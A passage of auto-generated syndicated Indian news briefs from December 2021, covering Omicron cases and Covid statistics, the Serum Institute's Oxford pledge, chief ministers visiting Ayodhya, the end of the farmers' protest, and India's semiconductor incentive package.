the rest of the content is auto-generated from a syndicated feed.) Vaccine maker of India (SII) has pledged 50 million pounds ($66.2 million) to the University of Oxford for setting up a research campus that would also house the institute behind the AstraZeneca-Oxford COVID-19 shot. The investment was made through the Indian company's Serum Life Sciences unit, said on Wednesday. The research building would be named after Serum's billionaire owners, the Poonawalla family. The pledge builds on the collaboration between Oxford University, and SII, the world's largest maker of vaccines and the producer of a version of the British duo's COVID-19 shot for low- and middle-income countries. SII has also agreed with the Jenner Institute, which was behind the Oxford- COVID-19 vaccine, to produce and develop Jenner's R21/Matrix-M malaria shot on a large scale. The shot is currently in late-stage trials. SII was founded in 1966 in the Western Indian city of Pune by Cyrus Poonawalla, son of a horse breeder, and India's fifth-richest person, according to Forbes . In 2019, Cyrus was also conferred an honorary degree by It is currently run by his son Adar Poonawalla, whose wife Natasha Poonawalla heads Serum Life Sciences. With a penchant for luxury cars and racehorses, the pair is often seen rubbing shoulders with Hollywood and Bollywood stars. The Poonawallas in September invested 50 million pounds in Oxford Biomedica to help fund the development of a plant that manufactures COVID-19 shots. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Chief ministers and deputy chief ministers of several BJP-ruled states on Wednesday visited the famous Hanuman Garhi temple and Ram Janmabhoomi in Ayodhya, an official spokesman said. The chief ministers, who took part in the Varanasi event in which Prime Minister Narendra Modi inaugurated the Kashi Vishawanath Dham corridor on Monday, arrived here with their family members, he said. They also participated in the Saryu aarti on the banks of the Saryu river, the spokesman said. Besides these leaders, president J P Nadda was also present, he said. Prominent among those who visited the holy city included chief minister of Madhya Pradesh-Shivraj Singh Chauhan , Tripura-Biplab Deb, Goa-Pramod Sawant, Haryana-Manohar Lal Khattar, Assam-Hemant Biswa Sarma, Gujarat-Bhupendra Bhai Patel, Arunachal Pradesh-Prema Khandu and Manipur-N Vishen Singh. The deputy chief ministers of Arunachal Pradesh, Bihar, Goa, Nagaland were also among those who visited Ayodhya, the spokesman said. All the dignitaries, who were welcomed by Uttar Pradesh's Tourism Minister Neelkant Tiwari, prayed at the Hanuman Garhi temple and had darshan at the Ram Janmabhoomi where they were apprised about the ongoing construction work of the Ram temple, he said. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) : A 47-year-old man who had arrived from Nigeria, along with six of his family members a few days ago, has tested positive for the variant of the coronavirus, marking the first such case being reported in Tamil Nadu, according to the State Minister Ma Subramanian. The passenger who arrived here from Nigeria via Doha on December 10 had tested Covid-19 positive and six of his family members too had tested positive for the virus, the Minister for Medical and Family Welfare said. The passenger, along with his family members who were asymptomatic, were admitted to the The King Institute of Preventive Medicine and Research in Chennai and were "doing fine". "In the initial level of testing of their sampling, there was S-gene drop raising the suspicion of being infected by Now, we have the received the results sent from the National Institute of Virology. The passenger has tested positive for Omicron," Subramanian told reporters. "With the result of the passenger confirmed, we suspect six of his family members, along with a 16-year-old child, also to be positive (for Omicron). We received the result confirming variant of the passenger a few minutes back," he said. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Four more cases of Covid-19 variant have been confirmed in Kerala, state Health Minister Veena George said on Wednesday night. With this the total cases of the variant in Kerala has reached 5 and in India 73. Speaking to reporters here, the minister said two of the four news cases were the wife and mother-in-law of the Ernakulam native who was the first person in Kerala to test positive for Of the remaining two, one was a Thiruvananthapuram native who had returned from the UK and the other was a Ernakulam native who had just come back from Congo, the minister said. She said that contacts of all these persons were being identified and their flight details were being collected. So far, Maharashtra has reported the highest number of cases at 32, followed by Rajasthan at 17. cases have also been reported in Karnataka (3), Gujarat (4), Telangana (2), West Bengal (1), Andhra Pradesh (1), Tamil Nadu (1) and Union Territories of Delhi (6) and Chandigarh (1). The Omicron variant was first detected in India in Bengaluru. A 24-year-old woman from Kenya and a 23-year-old man from Somalia, who landed in Hyderabad on December 12, have tested positive for the variant, a Telangana health official said on Wednesday. State Director of Public Health G Srinivasa Rao told reporters that the two foreign nationals were asymptomatic. Though they did not come from 'at-risk' countries, their samples were randomly collected and sent for genome sequencing in line with the protocols. West Bengal officials said that a seven-year-old boy, resident of Murshidabad district who recently returned from Abu Dhabi via Hyderabad, tested positive for the new variant He left for a relative's place in Malda from Kolkata airport. "The boy flew with his parents from Abu Dhabi to Hyderabad, where he tested positive for Omicron. He had not entered Hyderabad city. He returned to Kolkata on December 11. Of the total 32 patients in Maharashtra, 25 have been discharged after a negative RT-PCR. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) India on Wednesday reported a net decrease of 1,431 in active cases to take its count to 87,562. Indias share of global active cases now stands at 0.4 per cent (one in 250). The country is twenty-sixth among the most affected countries by active cases. On Tuesday, it added 6,984 cases to take its total caseload to 34,710,628 from 34,703,644 an increase of 0.1%. And, with 247 new fatalities, its Covid-19 reached 476,135, or 1.37 per cent of total confirmed infections. With 6,889,025 more Covid-19 vaccine doses being administered on Tuesday, Indias total count of vaccine shots so far reached 1,346,114,483. The count of recovered cases across India, meanwhile, reached 34,146,931 or 98.38 per cent of total caseload with 7,995 new cured cases being reported on Wednesday. Now the twenty-sixth-most-affected country by active cases, third by deaths, second by total cases and recoveries, India has added 53,806 cases in the past 7 days. India now accounts for 0.4% of all active cases globally (one in every 250 active cases), and 8.92% of all deaths (one in every 11 deaths). India has so far administered 1,346,114,483 vaccine doses. That is 3878.1 per cent of its total caseload, and 96.23 per cent of its population. Among Indian states, the top 5 in terms of number of vaccine shots administered are Uttar Pradesh (184981004), Maharashtra (129907511), West Bengal (102266164), Madhya Pradesh (97632015), and Bihar (92636523). Among states with more than 10 million population, the top 5 in number of vaccine shots per one million population are Gujarat (1401619), Delhi (1359204), Kerala (1337725), Jammu and Kashmir (1323324), and Uttarakhand (1278087). Backwards from here, the last 1 million cases for India have come in 78 days. The count of active cases across India on Wednesday saw a net reduction of 1,431, compared with 2,463 on Tuesday. States and UTs hat have seen the biggest daily net increase in active cases are Assam (29), Delhi (14), Rajasthan (11), Bihar (8), and Goa (8). With 8,168 new daily recoveries, Indias recovery rate stands at 98.38%, while fatality rate remained unchanged at 1.37%. The Indian states and UTs with the worst case fatality rates at present are Punjab (2.75%), Nagaland (2.18%), and Uttarakhand (2.15%). The rate in as many as 14 is higher than the national average. Indias new daily closed cases stand at 8,415 247 deaths and 8,168 recoveries. The share of deaths in total closed cases stands at 2.93%. Indias 5-day moving average of daily rate of addition to total cases stands at 0.0%. Indias doubling time for total cases stands at 3444.6 days, and for deaths at 1335.8 days. Overall, five states with the biggest 24-hour jump in total cases are Kerala (3377), Maharashtra (684), Tamil Nadu (649), West Bengal (552), and Karnataka (263). India on Tuesday conducted 1,184,883 to take the total count of tests conducted so far in the country to 658,847,816. The test positivity rate recorded was 0.6%. Five states with the highest test positivity rate (TPR) percentage of tested people turning out to be positive for Covid-19 infection (by cumulative data for tests and cases are Dadra & Nagar Haveli-Daman & Diu (14.76%), Kerala (12.85%), Sikkim (11.54%), Goa (11.33%), and Maharashtra (9.9%). Five states with the highest TPR by daily numbers for tests and cases added are Mizoram (6.33%), Kerala (5.25%), Sikkim (1.74%), West Bengal (1.69%), and Goa (1.52%). Among states and UTs with more than 10 million population, five that have carried out the highest number of tests (per million population) are Delhi (1689462), J&K (1345033), Kerala (1133910), Punjab (1066549), and Karnataka (810519). The five most affected states by total cases are Maharashtra (6645136), Kerala (5200416), Karnataka (3000934), Tamil Nadu (2736695), and Andhra Pradesh (2075108). Maharashtra, the most affected state overall, has reported 684 new cases to take its tally to 6645136. Kerala, the second-most-affected state by total tally, has added 3377 cases to take its tally to 5200416. Karnataka, the third-most-affected state, has reported 263 cases to take its tally to 3000934. Tamil Nadu has added 649 cases to take its tally to 2736695. Andhra Pradesh has seen its tally going up by 132 to 2075108. Uttar Pradesh has added 20 cases to take its tally to 1710592. Delhi has added 45 cases to take its tally to 1441793. Delhi's air was unhealthy on Tuesday, deteriorating from yesterday as a state-run forecasting system predicted that the national capital's air will remain very poor for two days. The Air Quality Index (AQI) of the national capital was 347 --'very poor'-- at 8 am, according to the Ministry of Earth Sciences' air quality forecast agency SAFAR. Readings below 50 are considered safe, while anything above 300 is considered hazardous or 'severe'. Moderate wind speed and partly cloudy conditions are likely to keep Delhi's air quality within the lower end of the 'very poor' category for the next two days, according to System of Air Quality and Weather Forecasting And Research (SAFAR) . The situation is predicted to improve from Thursday due to a likely increase in wind speed. Currently, educational institutions, including schools and colleges, are shut in the national capital while ban on construction activities, entry of trucks carrying non-essential items into Delhi continues. Delhi was this morning the world's second most polluted city with an AQI of 255, said iQair, a website that tracks worldwide. The only other Indian city in the list of the world's top ten most polluted cities was Kolkata at the ninth spot with an AQI of 163. Delhi's air quality in November was the worst in seven years, data showed. The national capital's air quality became worse after Diwali on November 4 as people violated a ban on bursting firecrackers while the pollution compounded due to an increase in stubble burning by farmers in areas adjoining the national capital. costs Indian businesses $95 billion or roughly 3 per cent of its GDP every year, according to U.K.-based non-profit Clean Air Fund and the Confederation of Indian Industry, Bloomberg reported. on Tuesday issued summons to IPS officer G Shreedhar in connection with the alleged Rs 100-crore against former Home Minister of Anil Deshmukh. "Enforcement Directorate, probing alleged Rs 100-crore against former Home Minister Anil Deshmukh, has now summoned IPS officer G Shreedhar in connection to the case on December 17," informed ED. ED further informed that Shreedhar is presently posted as superintendent of police, Akola. Earlier in the day, a suspended cop of Mumbai Police, Sachin Waze cleared former Home Minister Anil Deshmukh's name in the and said that no money was demanded by him or his staff during his tenure at the office. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Uttar Pradesh Chief Minister Yogi Adityanath may not be able to join his counterparts in Ayodhya since the winter session of the Assembly is also beginning on Wednesday in Lucknow. | Photo: ANI Eleven Chief Ministers of the BJP-ruled states will be in on Wednesday to offer prayers at the Ram Janmabhoomi temple. The chief ministers were in Varanasi for two days to witness the inauguration of the Kashi Vishwanath Dham project and attend the CM's conclave which was presided over by Prime Minister Narendra Modi. The administration has so far confirmed the official protocol of 11 chief ministers and five deputy CMs, who are expected to reach around noon from Lucknow on Wednesday. According to Ayodhya District Magistrate Nitish Kumar, "After a night halt in Lucknow, the chief ministers are expected to reach Ayodhya by noon on Wednesday. They will offer prayers at the Hanuman Garhi temple before visiting the Ram Janmabhoomi temple." The chief ministers who are visiting Ayodhya include Jairam Thakur of Himachal Pradesh, Pushkar Singh Dhami of Uttarakhand, Pema Khandu of Arunachal Pradesh, Shivraj Singh Chouhan of Madhya Pradesh, Hemanta Biswa Sarma of Assam, Basavaraj Bommai of Karnataka, Nongthombam Biren Singh of Manipur, Biplab Kumar Dev of Tripura, Bhupendrabhai Patel of Gujarat, Manohar Lal Khattar of Haryana and Pramod Sawant of Goa. Bihar deputy Chief Ministers Tarkishore Prasad and Renu Devi, Arunachal deputy Chief Minister Chowna Mein and two deputies of Yogi Adityanath -- Keshav Maurya and Dinesh Sharma -- will also be present. Official sources said that Sikkim Chief Minister Prem Singh Tamang, Meghalaya Chief Minister Conrad Sangma, Mizoram Chief Minister Zoramthanga and Puducherry Chief Minister N. Rangaswamy are also likely to visit Ayodhya. president Jagat Prakash Nadda will also visit Ayodhya on Wednesday for the first time after the Supreme Court's landmark judgment in the Ram Janmabhoomi case in 2019. District officials said that the chief ministers, during their visit, will stay at the Panchsheel hotel and strict security arrangements have been made for the occasion. The chief ministers will have their lunch at the hotel. Uttar Pradesh Chief Minister Yogi Adityanath may not be able to join his counterparts in Ayodhya since the winter session of the Assembly is also beginning on Wednesday in Lucknow. The district magistrate said that no interaction with the media is proposed at the moment. Several chief ministers are accompanied by their wives and have asked for privacy. (Covid-19) protocols have also been ensured and temples have been sanitised. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Famers camping at the Ghazipur border for over a year to protest against three contentious farm laws, on Wednesday vacated the place. Bharatiya Kisan Union (BKU) spokesperson Rakesh Tikait was present on the occasion. Before leaving, farmers held 'havan' (a Hindu ritual) and expressed gratitude to all who stood with them in solidarity with the farm movement. Tikait, along with other farmers, will reach their home in Sauram, via Sisauli, Modinagar, Meerut, Daurala Toll Plaza and Mansurpur, celebrating their victory. Talking to mediapersons Tikait said: "I want to thank everyone, and particularly those who organised langars at the border." He said, the agitation has been suspended, but has not ended. Children and elders who gathered there to see farmers depart from the border expressed happiness by dancing while playing songs. Sisauli village has been decked up like a bride, while the Kisan Bhavan has been illuminated to welcome farmers who will be reaching their home after 380 days. The Highway Authority of India has started working to open the road which was closed from one side for over a year. The Samyukt Kisan Morcha (SKM), an umbrella organisation of farmer bodies, suspended the agitation after the Union government repealed the three farm laws and conceded to its other demands. --IANS msk/svn (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Good quality can increase the country's overall agricultural production by 15-20 per cent, which is crucial to meet the future demand of foodgrains, Sanjay Kumar, Director of Indian Institute of Seed Science, said on Wednesday. Extensive work in the field of creating good quality seed varieties is currently being carried out in India, a Gujarat government release quoted Kumar as saying while addressing the ongoing Summit on Agro and Food Processing at Anand University. The three-day Agro and Food Processing Summit, inaugurated on Tuesday, is being organised as a pre-event to the upcoming Vibrant Gujarat Global Summit to be held in January next year. In his address, Kumar stressed that farmers will need good quality seed varieties to meet India's future foodgrain demand, according to the release. "The Centre is taking several steps to ensure that farmers get good quality Seed Corporations are currently functioning in 17 states, while nearly 50 large and 500 small and medium companies are also engaged in the development of new varieties of The world needs to produce seeds as per market demand and by keeping in mind the effects of climate change," Kumar said. The central government is taking steps to train women, tribal and young farmers to help them in getting more profit from farming, he added. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Indian-American Gita Gopinath, the chief economist of the International Monetary Fund, called on Prime Minister on Wednesday. The meeting comes days after the announced that she is being promoted as its First Deputy Managing Director. She would replace Geoffrey Okamoto who plans to leave the Fund early next year. Gopinath, who was scheduled to return to her academic position at Harvard University in January 2022, has served as the IMF's chief economist for three years. "Chief Economist of the IMF, @GitaGopinath called on PM @narendramodi," the Prime Minister's Office (PMO) tweeted along with a couple of photographs from the meeting. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Calling upon neighbouring countries to work together to transform the subcontinent, Union Minister of Commerce and Industry on Tuesday said is becoming the global hub for innovation with the third-largest startup ecosystem. Addressing "CII: Partnership Summit -Ministerial Meeting" virtually, Goyal said is looking for FTAs with like-minded nations with transparency and mutual benefit and growth as key pillars. He added that is also reviewing existing Free trade Agreements (FTA)with ASEAN, Japan, Korea to strengthen them and forging enhanced trade alliances with countries like UAE, EU, UK, Israel, Australia, Canada, Russia, Oman and the GCC. The union minister called for enhancing India's economic ties with the nations of the Southern African Customs Union which consists of Botswana, Namibia, South Africa, Swaziland and Lesotho. Goyal said that during the COVID-19 pandemic, India has emerged as a source of resilience and a trusted Partner and added that we had tried to the best of our ability to meet all our international service commitments. The Minister also assured that India would continue helping nations in need as we intrinsically believed in brotherhood, partnership and the need to work together to solve problems collectively. He added that India had focussed on its neighbourhood during the pandemic and stood ready to support all its friends with vaccines and medical supplies. Highlighting India's initiatives in investment promotion, Goyal said that the government has been inviting businesses of other countries to seize investment opportunities as 'India is the place to be' with its accessibility, choice, openness and opportunities. Goyal said that the Indian economy has recovered sharply and added that the rising economic indicators point towards 'an India shaping up for a growth decade'. He said that India had seen a GDP growth of 8.4 per cent in Q2, high exports, high FDI and large amounts of investments being done by Indian companies in other nations. Goyal urged his counterparts to invite Indian companies to invest in their economies and help create jobs. The union minister outlined six areas on which India is focussing to build a sustainable, inclusive and resilient ecosystem for future partnerships; Trade Agreements, Investments, India's strengths as a supply chain alternative, Ease of Doing Business, Innovation and Sustainability. Listing potential sectors for investments including healthcare, infrastructure, defence, energy, civil aviation, insurance and Technology, Goyal said that various schemes to facilitate trade and investment, including PLI Scheme, Liberalised FDI Policy, etc were being executed. Goyal said that India's diverse business landscape, skilled workforce, relatively low labour cost and initiatives to boost infrastructure such as National Infrastructure Pipeline, GatiShakti, National Monetisation Plan would certainly give a fillip to investments and yield good returns. Speaking of India's quest to improve Ease of Doing Business, he said that initiatives like the National Single Window System and the Industrial Land Bank were helping improve the ease of doing business significantly. said that India is becoming the global hub for innovation with the third-largest Startup ecosystem with 79 Unicorns. He said that Startups have the potential to catalyse India's integration in global value chains and create global impact. Emphasizing upon India's initiatives in the direction of Sustainable Development, the union minister said that the country will reach its non-fossil energy capacity to 500 GW by 2030 and meet 50 per cent of its energy requirements from renewable energy, one of the world's most ambitious Renewable energy programs. It may be noted that India has pledged to achieve Net Zero Emissions by 2070. The summit was attended by Sheikh Mohammed Bin Hamad Bin Qassim Al-Abdullah Al-Thani, Minister of Commerce and Industry, Qatar, Loknath Sharma, Minister of Economic Affairs, Royal Government of Bhutan, Gebre Meskel Chala, Minister for Trade and Regional Integration, Federal Democratic Republic of Ethiopia and Faiyaz Koya, Minister for Commerce and Trade, Fiji. Further, Fayyaz Ismail, Minister for Economic Development, Maldives, Soodesh Satkam Callichurn, Minister of Commerce and Consumer Protection, Mauritius, Dr Pwint San, Minister for Commerce, Myanmar, Bandula Gunawardhana, Minister of Trade, Sri Lanka, Chhuon Dara, Secretary of State, Ministry of Commerce, Kingdom of Cambodia and Giancarlo Giorgetti, Minister of Economic Development, Italy also attended the summit. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) reported four new cases of the variant of coronavirus, taking the tally of those infected with this strain to 32, the state health department said on Wednesday. Of the total 32 patients, 25 have been discharged after a negative RT-PCR, it said. "As per the report given by the National Institute of Virology today, 4 more patients were found to be infected with in the state. Out of these four patients, two are from Osmanabad, one from Mumbai and one patient is from Buldhana," the department said in a bulletin. All these laboratory samples were taken in the first week of December. Of the four patients, one is a woman and three are men - all between the age group of 16 years and 67 years. "All patients are asymptomatic," the bulletin said. According to preliminary information, one patient from Osmanabad travelled to Sharjah and another patient is his high risk contact. The third case is a patient from Buldhana who travelled to Dubai, while the fourth patient is from Mumbai who travelled to Ireland, it said. All these are isolated in hospitals, it added. The close contacts of these patients are being tracked, it added. It added that of the four, three patients have been inoculated, while one is not eligible for vaccination. Giving the break-up of 32 patients infected with the variant in the state, it said Mumbai reported 13 cases, Pimpri Chinchwad (in Pune district) (10), Pune city (two), Osmanabad- (two), Kalyan Dombivali, Nagpur, Latur, Vasai Virar, Buldhana (one each). (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) The on Wednesday granted four weeks' protection from arrest to businessman and Bollywood actor Shilpa Shetty's husband in connection with one of the cases involving allegations of producing and streaming pornographic content. A Bench headed by Justice Vineet Saran granted immunity to Kundra from arrest for four weeks and also issued notice to the Maharashtra government and Mumbai Crime Branch on his plea seeking anticipatory bail. Kundra approached the top court after the Bombay High Court on November 25 had refused his plea for anticipatory bail. Businessman was arrested by police on July 19 along with 11 other people on charges related to the alleged creation of pornographic films and was released on bail in September. Allegations were levelled against Kundra for allegedly producing and distributing films using a subscriber-driven mobile app called 'Hotshots'. On the other hand, Kundra has refuted all the charges levelled against him by saying that he has been falsely implicated. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) During the session, the Yogi Adityanath government will table a second supplementary grant for the financial year 2021-22 and seek a vote on account for various ambitious projects of the state govt. Photo: PTI A three-day of the Uttar Pradesh legislature is beginning on Wednesday. During the session, the government will table a second supplementary grant for the financial year 2021-22 and seek a vote on account for various ambitious projects of the state government. Since all parties are busy with electioneering for the upcoming polls, the will be brief, sources said. This will also be the last session of the 17th Vidhan Sabha. Pradeep Kumar Dubey, the principal secretary to the Legislative Assembly, said that obituary references are up on schedule for the first working day of the Meanwhile, demands for the second supplementary grant for 2021-22 and the vote-on-account for the next financial year will be presented on Thursday, he said. The UP Legislative Assembly's business advisory committee has set the terms for lawmakers to attend the session in view of the prevailing pandemic. The Assembly has, this time too, decided to give its members the choice to attend the House virtually. Uttar Pradesh goes to the polls early next year and the Assembly elections are likely to be held in the month of February to March 2022 to elect 403 members of the Legislative Assembly. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Two foreign nationals, who arrived here from abroad have tested positive for Omicron variant, a health official said on Wednesday. The first person is a 24-year-old woman, a Kenyan national, who landed at the international airport here on December 12, Director of Public Health, G Srinivasa Rao told reporters here. The other is a 23-year-old man from Somalia. Both are asymptomatic, he said. The two persons were diagnosed with Omicron infection during genome sequencing. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) The has launched a vaccination campaign for stranded migrants in war-torn Yemen, the UN migration agency said Wednesday. The International Organization for Migration said in a statement that it aims to inoculate around 7,500 migrants in its centers in the provinces of Aden and Marib but that this was not enough. There are still not enough doses to protect everyone in from this disease," said Christa Rottensteiner, head of IOM's mission in More support from the international community to supply the country with enough vaccines will save lives. has been engulfed in civil war since 2014, when the Iranian-backed Houthi rebels took the capital, Sanaa, and much of northern Yemen, forcing President Abed Rabbo Mansour Hadi's government to flee to the south, then to exile to Saudi Arabia. A Saudi-led coalition, backed at the time by the United States, entered the war the following year on behalf of the internationally recognised Yemeni government, to try to restore Hadi to power. The conflict has not prevented migrants from entering Yemen, desperate to make their way to neighbouring Saudi Arabia to find jobs as housekeepers, servants and construction workers. The U.N. agency said that there are an estimated 36,000 migrants stranded in Yemen, and that many of them are sleeping rough or in overcrowded and unsanitary accommodation where the virus can easily spread. The agency said the campaign to vaccinate the migrants was coordinated with the Yemeni government's Health Ministry and the World Health Organization. Funding came from Germany, Finland, and the European Union. Since the start of the pandemic, Yemen has reported more than 10,000 cases of coronavirus, including at least 1,972 deaths in government-held areas. The Houthis have reported only four cases in territory under their control. In April, the country's internationally recognised government launched a vaccination campaign for Yemenis in territory under its control. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) on Wednesday reported its first Omicron case as a seven-year-old boy from Murshidabad district tested positive for the variant, a senior official of the health department said. The boy, the official said, recently returned to Bengal from Abu Dhabi via Hyderabad, the official said. He is undergoing treatment at a local hospital in Murshidabad district. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Prime Minister said on Wednesday that the Cabinet's decision on semiconductors will encourage research and innovation in the sector and also boost manufacturing, strengthening the 'Aatmanirbhar Bharat' programme. The Union has approved a Rs 76,000-crore policy boost for and display manufacturing ecosystem in the country in a bid to position India as a global hub for hi-tech production. Announcing the decision of the Cabinet, IT and Telecom Minister Ashwini Vaishnaw observed that electronics plays an important role in everyday life and chips form a crucial part of it. Modi tweeted, "Today's decision on semi-conductors will encourage research and innovation in the sector. It will also boost manufacturing and thus strengthen the dream of an Aatmanirbhar Bharat. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) A Union Cabinet meeting on Wednesday is unlikely to discuss a Bill regulating cryptocurrencies, Business Standard learns, meaning that Parliaments Winter Session ending on December 23 is unlikely to take up the legislation. The government had listed the and Regulation of Official Digital Currency Bill 2021 for tabling and passage in session. While the written listing had said that the Bill would prohibit all private cryptocurrencies in India, it was later clarified that the descriptor had been carried over from the listing of the previous Budget Session of Parliament. The Bill had not been introduced then and was not listed for the Monsoon Session. Finance Secretary TV Somanathan and other officials have made two things clear: That cryptocurrencies will not be allowed as legal tender, and that they may be allowed as regulated tradable financial assets. Finance Minister Nirmala Sitharaman has told Lok Sabha the Bill was in final stages of consultation for the consideration of cabinet. She had earlier said that the government would bring a well consulted legislation. Regulators wary There have been reports that Securities and Exchange Board of India could be regulating cryptocurrencies as assets. However, sources have told Business Standard that the Securities and Exchange Board of India (Sebi) and the Reserve Bank of India (RBI) are both rather reluctant and would rather have nothing to do it. By its very definition, a safe financial asset is one that gives steady returns over a period of time. But given the volatility of the market, steady returns are not guaranteed, officials say. RBI Governor Shaktikanta Das has sounded the alarm on the bourgeoning sector and said that cryptocurrencies are a very serious concern from a macro economic and financial stability point of view. He also said that the number of Indians trading in looks highly exaggerated. By conservative estimates of the cryptocurrency exchanges, some 2 crore Indians hold investment in the sector worth around Rs 15,000-20,000 crore. Many in the government believe that given the rapid rise of the sector, it needs regulations, and fast. On November 13, Prime Minister Modi chaired a meeting on cryptocurrency. After that, sources said that advertisements by cryptocurrency companies, exchanges and other such entities which over-promise and are not transparent need to stop. A Union Cabinet meeting on Wednesday did not discuss a Bill regulating cryptocurrencies, which means that Parliaments Winter Session ending on December 23 is unlikely to take up the legislation. The government had listed the and Regulation of Official Digital Currency Bill 2021 for tabling and passage in this session. While the written listing had said that the Bill would prohibit all private cryptocurrencies in India, it was later clarified that the descriptor had been carried over from the listing of the Budget Session of Parliament. The Bill had not been introduced then and was not listed for the Monsoon Session either. Finance Secretary T V Somanathan and other officials have made two things clear: Cryptocurrencies will not be allowed as legal tender, and they may be allowed as regulated tradable financial assets. The on Wednesday cleared a comprehensive Rs 76,000-crore ($10-billion) package to build a much-needed ecosystem in the country. The incentives will be extended to a range of new units -- greenfield chip fab and display fab units, apart from compound and ATMP (assembly, testing, marking, and packaging) facilities. The package also gives a fiscal push to the fledgling homegrown product design companies (fabless players). And backing this effort is support to universities to train 85,000 engineers under the chips to start-ups programme. Semiconductor and display fab units under the scheme will be offered financial support of up to 50% of the project cost. This will be given to eligible players that have the technology, as well as the capacity to execute such high capital and resource incentive projects. The government is targeting the setting up of two semiconductor, as well as display fab units. To encourage the setting up of compound semiconductor units (which make chips that are used in mobile chargers, electric vehicles, and telecom radios) and ATMP facilities, the government will offer fiscal support of up to 30% of capital expenditure to the approved units. The government expects over 15 such units to come up in this space. Announcing the package, Ashwini Vaishnaw, communications and electronics & IT minister, sought to hard sell the policy to potential global players that are being offered incentives in other competing countries, such as South Korea, the US, and Taiwan to set fab plants. Our biggest advantage is our design ecosystem. We already have 25,000 design engineers in India. All the major economies are today giving 50 per cent capital incentive for semiconductor fab and display fab. We will be giving a similar incentive. But we are also offering something extra -- a clear 20-year roadmap for generating and nurturing talent and making sure that as the industry grows, there is a sufficient number of required talent, the minister said. Welcoming the package, IT services industry body Nasscom in a statement said: "Over the next six years, this programme will form the foundation of a new era in electronics manufacturing and will form a vital pillar of the governments Atmanirbhar Bharat vision, in addition to driving growth and innovation, increasing prospects of job creation, and contributing to addressing the global supply chain crisis." The programme has a holistic long-term vision and includes several critical aspects, aside from manufacturing, like growing the pool of skilled engineering talent in India via the chips to start-ups scheme and support to design firms and start-ups, through the design-linked incentive (DLI) scheme," said Rajen Vagadia, VP and president-Qualcomm India & Saarc. "The focus areas of the programme are closely aligned to many of the design and innovation initiatives for India that Qualcomm has invested in over the years and we remain committed to supporting the expansion of a vibrant semiconductor ecosystem in India. Sanjay Gupta, managing director, NXP India, said: This will enable India to become an electronics hub and encourage corporates to start manufacturing in India. It is a big step to bring India on the world map of the as it will pave the path for the industry to broaden the horizon of research, manufacturing and export. In the long term, issues like a sudden surge in demand for semiconductors will also be addressed. This move will also make the Indian manufacturers globally competitive to attract investment in the areas of core competency and cutting-edge technology. The bulk of the funding of the government will go towards setting up fab and fab display plants. According to estimates, the investment required for an advanced technology chip plant (producing 28-nanometre chips and above) in the US is anything between $3 billion and $4 billion, while a modern fab display plant may need a $3-billion investment. With half the investment coming from the government, nearly 60 per cent of the package may be spent on funding these megaprojects, say experts. According to Satya Gupta, advisor in India Electronics and Semiconductor Association, the bulk of the government funding will go in chip fab and display fab units. Another $2 billion will go towards funding compound semiconductor plants that require an investment of around $250 million each and OSAT (outsourced semiconductor assembly and test) operations. The package includes support to homegrown chip product design companies (fabless companies) that also sell the product by manufacturing it at third-party units. Under the design-linked incentive (DLI), product design-linked incentive of up to 50 per cent of eligible expenditure and product deployment-linked incentive of 4 per cent-6 per cent on net sales for five years will be offered. The government is looking to offer this support to at least 100 domestic companies; it expects at least 20 such companies to hit revenue of Rs 1,500 crore in five years. The plan, according to industry experts, will require over Rs 1,500 crore. The new policy is the governments third attempt to create a semiconductor ecosystem in the country. In 2007, Intel showed interest but moved to China and Vietnam instead because the Indian governments policy and incentives were not thought through. In 2013, the government approved two proposals, one by the Jaypee group with a promise to subsidise the project cost. The promoters failed to raise finances and the projects were aborted. Giving the thumbs up to the new plan, Hemant Mallapur, co-founder of chip product design company Saankhya Labs, said: We have never leapfrogged like software companies have been able to. The whole industry has only a few small players with total revenue of not more than $30 million. Designing a chipset is expensive and costs $2-10 million and venture funds dont fund us. The government incentive will give us a huge boost to grow our business. He pointed out that currently, Indian chip design firms go to Taiwan to get their chip manufactured and costs are high. The government through its various expressions of interest floated late last year and this year to gauge interest from global players for fabs has already targeted chip manufacturers. They include Taiwanese majors Taiwan Semiconductor Manufacturing Company, VIA Technologies, and United Microelectronics Corporation, US giants Intel, Micron Technology, NXP Semiconductors, and Texas Instruments, Japanese players Fuji Electric and Panasonic, European chipmakers Infineon Technologies and STMicroelectronics, and South Korean SK hynix and Samsung. Domestic players like the Tatas and Vedanta have also been approached for OSAT and display fabs, according to sources. However, some analysts point out that the key to success is building the infrastructure -- abundant water and continuous power supply, and dust-free environment -- an area in which India is still lacking. With inputs from Shivani Shinde in Bengaluru The Union Cabinet chaired by Prime Minister Narendra Modi on Wednesday approved an incentive scheme worth Rs 1,300 crore for 2022-23 to promote RuPay debit cards and low-value Unified Payments Interface (UPI) transactions up to Rs 2,000 by reimbursing the merchant discount rate (MDR) to banks, which was brought down to zero in December 2019. The scheme is expected to facilitate acquiring banks in building a robust ecosystem and promoting RuPay debit cards and BHIM-UPI digital transactions across all sectors and segments of the population, further deepening in the country, said the Cabinet Secretariat in a media briefing. This is like investment for digital payments, so that more and more people carry out 